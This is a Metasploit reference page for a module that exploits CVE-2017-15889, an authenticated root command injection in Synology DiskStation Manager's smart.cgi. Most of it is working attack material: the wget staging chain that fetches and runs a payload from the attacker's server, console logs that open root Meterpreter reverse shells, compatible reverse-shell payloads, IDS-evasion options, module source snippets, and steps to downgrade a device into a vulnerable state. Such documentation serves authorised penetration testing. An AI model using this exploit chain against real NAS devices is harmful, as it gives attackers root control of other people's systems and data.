Synology DiskStation Manager smart.cgi Remote Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/synology_dsm_smart_exec_auth metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Synology DiskStation Manager smart.cgi Remote Command Execution
Module: exploit/linux/http/synology_dsm_smart_exec_auth
Source code: modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb
Disclosure date: 2017-11-08
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-15889

This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication. The vulnerability is located in webman/modules/StorageManager/smart.cgi, which allows appending of a command to the device to be scanned. However, the command with drive is limited to 30 characters. A somewhat valid drive name is required, thus /dev/sd is used, even though it doesn't exist. To circumvent the character restriction, a wget input file is staged in /a, and executed to download our payload to /b. From there the payload is executed. A wfsdelay is required to give time for the payload to download, and the execution of it to run.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

msf > use exploit/linux/http/synology_dsm_smart_exec_auth
msf exploit(synology_dsm_smart_exec_auth) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication.

The vulnerability is located in webman/modules/StorageManager/smart.cgi, which allows appending of a command to the device to be scanned. However, the command with drive is limited to 30 characters. A somewhat valid drive name is required, thus /dev/sd is used, even though it doesn't exist. To circumvent the character restriction, a wget input file is staged in /a, and executed to download our payload to /b. From there the payload is executed. A wfsdelay is required to give time for the payload to download, and the execution of it to run.

A more detailed explination of exploitation steps:

  1. We first clean the env by deleting /a, and b
  2. we use echo -n to append our IP:PORT for our staging server to /a. This is done in small chunks to stay under the character limit.
  3. we call wget -i /a -O b to write our payload to b in /usr/syno/synoman/webman/modules/StorageManager
  4. we wait for HTTP Server to receive the wget request and send back the payload. Then we execute it.

Notes

smart.cgi and our payload are located in /usr/syno/synoman/webman/modules/StorageManager.

/var/log/messages will contain logs of exploitation:

May 19 16:35:50 oldNas smart.cgi: smart.cpp:477 smartctl system command failed cmd: /usr/syno/bin/smartctl -d sat -t short /dev/sd`wget -i /a -O b` > /dev/null 2>&1 ret: 4
May 19 16:35:50 oldNas smart.cgi: smart.cpp:846 error

No randomization was chosen on the a and b file names since we're so limited on characters as it is. While it would be possible to randomize a single character, it didn't seem worth the effort.

Device Downgrade

The vulnerable DSM can be downloaded from Synology

Essentially Synology doesn't want you to downgrade. In order to do so, we need to mount the recovery boot loader and overwrite it with synology 5.2. Then when we cause an issue (by removing the disks on boot), it will boot to the recovery. Since the recovery is 5.2, it will let us install the 'current' version of 5.2.

You'll want to watch Downgrade DSM6.x to DSM 5.2

The notes from the video are:

  1. Turn on synology and backup data if needed.
  2. Create a shared folder. ("test" is used in this guide)
  3. Locally, extract 4 files from DSM 5644.pat (grub_cksum.syno, rd.gz, zImage, checksum.syno) and place the files in the newly created shared folder on the NAS.
  4. Enable telnet/ssh in the DSM control panel.
  5. telnet/ssh to the diskstation.
  6. Log in as admin.
  7. Type sudo su. The password it asks for will also be the admins password.
  8. Type cd /dev to change to the devices directory.
  9. Type ls synoboot2 to make sure synoboot2 is listed.
  10. Type mkdir /mnt/synoboot to make a directory to mount to.
  11. Type mount synoboot2 /mnt/synoboot to mount the boot files to the directory we created.
  12. Type cd /mnt/synoboot to change to that directory.
  13. Type ls to view the files in the directory. (note that the names of the 4 files we put in the shared folder, should be there. Although these ones listed are the DSM6 versions)
  14. Type cp /volume1/test/checksum.syno /mnt/synoboot.
  15. Type cp /volume1/test/grub_cksum.syno /mnt/synoboot.
  16. Type cp /volume1/test/rd.gz /mnt/synoboot.
  17. Type cp /volume1/test/zImage /mnt/synoboot.
  18. Go back into the DSM interface and shutdown. Once the device is shutdown, remove the disks. (This step is important because if you do not remove the disks, the next powerup will detect an issue and recover the DSM6 boot image)
  19. Power the device up. Should say no disks inserted. Before clicking the connect again button, put the hard disks back in and wait for the HDD LED's to light up.
  20. If disks are in, click the connect again button. Next page should come up saying to reinstall DSM. Make sure to choose the 5967 pat file so that the bootimage is overwritten correctly.
  21. Good to go! Data should remain intact as long as it is in a shared folder, and DSM should be a completely stock 5.2 - 5967.

Verification Steps

  1. Install the 5.2 vulnerable DSM
  2. Start msfconsole
  3. Do: use exploit/linux/http/synology_dsm_smart_exec_auth
  4. Do: set username <username>
  5. Do: set password <password>
  6. Do: run
  7. You should get a root shell.

Options

Password

Password for website login. Default is password.

Username

Username for website login. Default is admin.

wfsdelay

Wfsdelay needs to be at least a couple seconds to allow for payload download and staging. Default is 10.

Scenarios

DS412+ with DSM 5.2-5644

  [*] Processing synology.rc for ERB directives.
  resource (synology.rc)> use modules/exploits/linux/http/synology_dsm_smart_exec_auth
  resource (synology.rc)> set payload python/meterpreter/reverse_tcp
  payload => python/meterpreter/reverse_tcp
  resource (synology.rc)> set rhosts 2.2.2.2
  rhosts => 2.2.2.2
  resource (synology.rc)> set lport 60111
  lport => 60111
  resource (synology.rc)> set lhost 1.1.1.1
  lhost => 1.1.1.1
  resource (synology.rc)> set srvhost 1.1.1.1
  srvhost => 1.1.1.1
  resource (synology.rc)> set username admin
  username => admin
  resource (synology.rc)> set password password
  password => password
  resource (synology.rc)> set verbose true
  verbose => true
  resource (synology.rc)> rexploit
  [*] Reloading module...
  [*] Started reverse TCP handler on 1.1.1.1:60111 
  [*] Trying to detect installed version
  [*] Model DS412+ with version 5.2-5644 detected
  [*] Attempting Login
  [*] Using URL: http://1.1.1.1:8080/
  [*] Cleaning env
  [*] Staging wget with: echo -n '1.1'>>/a
  [*] Staging wget with: echo -n '.1.1:'>>/a
  [*] Staging wget with: echo -n '8080'>>/a
  [*] Requesting payload pull
  [+] HTTP Server request received, sending payload
  [*] Executing payload
  [*] Sending stage (53755 bytes) to 2.2.2.2
  [*] Meterpreter session 1 opened (1.1.1.1:60111 -> 2.2.2.2:42353) at 2020-05-19 20:13:33 -0400
  [*] Server stopped.
  [!] This exploit may require manual cleanup of '/usr/syno/synoman/webman/modules/StorageManager/b' on the target
  [!] This exploit may require manual cleanup of '/a' on the target

  meterpreter > 
  [+] Deleted /usr/syno/synoman/webman/modules/StorageManager/b
  [+] Deleted /a

  meterpreter > getuid
  Server username: root
  meterpreter > sysinfo
  Computer     : oldNas
  OS           : Linux 3.10.35 #5644 SMP Thu Nov 12 17:18:22 CST 2015
  Architecture : x64
  Meterpreter  : python/linux
  meterpreter > cat /etc.defaults/VERSION
  majorversion="5"
  minorversion="2"
  buildphase="hotfix"
  buildnumber="5644"
  smallfixnumber="0"
  builddate="2015/11/12"
  buildtime="17:17:21"
  meterpreter >

DS410 with DSM 5.2-5644

This unit's version was not able to be determined automatically. forceexploit was set to true to enable it to run.

msf5 exploit(linux/http/synology_dsm_smart_exec_auth) > run

[*] Started reverse TCP handler on 192.168.135.168:4567 
[*] Trying to detect installed version
[*] Attempting Login
[*] Using URL: http://192.168.135.168:8080/
[*] Cleaning env
[*] Staging wget with: echo -n '192.168'>>/a
[*] Staging wget with: echo -n '.135.16'>>/a
[*] Staging wget with: echo -n '8:8080'>>/a
[*] Requesting payload pull
[+] HTTP Server request received, sending payload
[*] Executing payload
[*] Sending stage (53755 bytes) to 192.168.132.107
[*] Meterpreter session 1 opened (192.168.135.168:4567 -> 192.168.132.107:54951) at 2020-05-20 13:53:18 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of '/usr/syno/synoman/webman/modules/StorageManager/b' on the target
[!] This exploit may require manual cleanup of '/a' on the target

meterpreter > 
[+] Deleted /usr/syno/synoman/webman/modules/StorageManager/b
[+] Deleted /a

meterpreter > sysinfo
Computer     : DiskStation
OS           : Linux 2.6.32.12 #5644 Thu Nov 12 17:17:40 CST 2015
Architecture : ppc
Meterpreter  : python/linux
meterpreter > exit

Go back to menu.

Msfconsole Usage

Here is how the linux/http/synology_dsm_smart_exec_auth exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/synology_dsm_smart_exec_auth

[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show info

       Name: Synology DiskStation Manager smart.cgi Remote Command Execution
     Module: exploit/linux/http/synology_dsm_smart_exec_auth
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-08

Provided by:
  Nigusu Kassahun
  h00die

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    yes       The Password for Synology
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      5000             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The URI of the Synology Website
  URIPATH                     no        The URI to use for this exploit (default is random)
  USERNAME   admin            yes       The Username for Synology
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits a vulnerability found in Synology DiskStation 
  Manager (DSM) versions < 5.2-5967-5, which allows the execution of 
  arbitrary commands under root privileges after website 
  authentication. The vulnerability is located in 
  webman/modules/StorageManager/smart.cgi, which allows appending of a 
  command to the device to be scanned. However, the command with drive 
  is limited to 30 characters. A somewhat valid drive name is 
  required, thus /dev/sd is used, even though it doesn't exist. To 
  circumvent the character restriction, a wget input file is staged in 
  /a, and executed to download our payload to /b. From there the 
  payload is executed. A wfsdelay is required to give time for the 
  payload to download, and the execution of it to run.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-15889
  https://www.exploit-db.com/exploits/43190
  https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/
  https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM

Module Options

This is a complete list of options available in the linux/http/synology_dsm_smart_exec_auth exploit:

msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show options

Module options (exploit/linux/http/synology_dsm_smart_exec_auth):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The Password for Synology
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      5000             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the Synology Website
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            yes       The Username for Synology
   VHOST                       no        HTTP server virtual host

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the linux/http/synology_dsm_smart_exec_auth exploit:

msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show advanced

Module advanced options (exploit/linux/http/synology_dsm_smart_exec_auth):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                10                                                  no        Additional delay in seconds to wait for a session

Payload advanced options (python/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                    no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                no        An optional value to use for the Host HTTP header
   HttpReferer                                   no        An optional value to use for the Referer HTTP header
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PythonMeterpreterDebug       false            no        Enable debugging for the Python meterpreter
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/http/synology_dsm_smart_exec_auth module can exploit:

msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/synology_dsm_smart_exec_auth exploit:

msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                        normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/python/meterpreter/bind_tcp                           normal  No     Python Meterpreter, Python Bind TCP Stager
   6   payload/python/meterpreter/bind_tcp_uuid                      normal  No     Python Meterpreter, Python Bind TCP Stager with UUID Support
   7   payload/python/meterpreter/reverse_http                       normal  No     Python Meterpreter, Python Reverse HTTP Stager
   8   payload/python/meterpreter/reverse_https                      normal  No     Python Meterpreter, Python Reverse HTTPS Stager
   9   payload/python/meterpreter/reverse_tcp                        normal  No     Python Meterpreter, Python Reverse TCP Stager
   10  payload/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Meterpreter, Python Reverse TCP SSL Stager
   11  payload/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Meterpreter, Python Reverse TCP Stager with UUID Support
   12  payload/python/meterpreter_bind_tcp                           normal  No     Python Meterpreter Shell, Bind TCP Inline
   13  payload/python/meterpreter_reverse_http                       normal  No     Python Meterpreter Shell, Reverse HTTP Inline
   14  payload/python/meterpreter_reverse_https                      normal  No     Python Meterpreter Shell, Reverse HTTPS Inline
   15  payload/python/meterpreter_reverse_tcp                        normal  No     Python Meterpreter Shell, Reverse TCP Inline
   16  payload/python/shell_bind_tcp                                 normal  No     Command Shell, Bind TCP (via python)
   17  payload/python/shell_reverse_tcp                              normal  No     Command Shell, Reverse TCP (via python)
   18  payload/python/shell_reverse_tcp_ssl                          normal  No     Command Shell, Reverse TCP SSL (via python)
   19  payload/python/shell_reverse_udp                              normal  No     Command Shell, Reverse UDP (via python)

Evasion Options

Here is the full list of possible evasion options supported by the linux/http/synology_dsm_smart_exec_auth exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Detection failed

Here is a relevant code snippet related to the "Detection failed" error message:

81:	      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
82:	      build = $LAST_MATCH_INFO[:build]
83:	      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
84:	      model = "DS#{model}" unless model =~ /^[A-Z]/
85:	    else
86:	      vprint_error('Detection failed')
87:	      return CheckCode::Unknown
88:	    end
89:	
90:	    vprint_status("Model #{model} with version #{version}-#{build} detected")
91:

5967-5

Here is a relevant code snippet related to the "5967-5" error message:

91:	
92:	    case version
93:	    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
94:	      return CheckCode::Appears
95:	    when '5.2'
96:	      return CheckCode::Appears if build < '5967-5'
97:	    end
98:	
99:	    CheckCode::Safe
100:	  end
101:

Incorrect Username/Password

Here is a relevant code snippet related to the "Incorrect Username/Password" error message:

144:	      }
145:	    })
146:	    if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
147:	      result = JSON.parse(json)
148:	
149:	      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
150:	      if result['result'] == 'success'
151:	        return res.get_cookies, result['SynoToken']
152:	      end
153:	
154:	      fail_with(Failure::Unknown, "Unknown response: #{result}")

Unknown response: <RESULT>

Here is a relevant code snippet related to the "Unknown response: <RESULT>" error message:

149:	      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
150:	      if result['result'] == 'success'
151:	        return res.get_cookies, result['SynoToken']
152:	      end
153:	
154:	      fail_with(Failure::Unknown, "Unknown response: #{result}")
155:	    end
156:	  end
157:	
158:	  def exploit
159:	    if datastore['SRVHOST'] == '0.0.0.0'

SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful

Here is a relevant code snippet related to the "SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful" error message:

155:	    end
156:	  end
157:	
158:	  def exploit
159:	    if datastore['SRVHOST'] == '0.0.0.0'
160:	      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
161:	    end
162:	
163:	    begin
164:	      print_status('Attempting Login')
165:	      cookie, token = login

<PEER> - Could not connect to the web service

Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

187:	      print_status('Requesting payload pull')
188:	      register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
189:	      register_file_for_cleanup('/a')
190:	      inject_request(cookie, token, cmd = 'wget -i /a -O b')
191:	      # at this point we let the HTTP server call the last stage
192:	      # wfsdelay should be long enough to hold out for everything to download and run
193:	    rescue ::Rex::ConnectionError
194:	      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
195:	    end
196:	  end
197:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Nigusu Kassahun
  • h00die

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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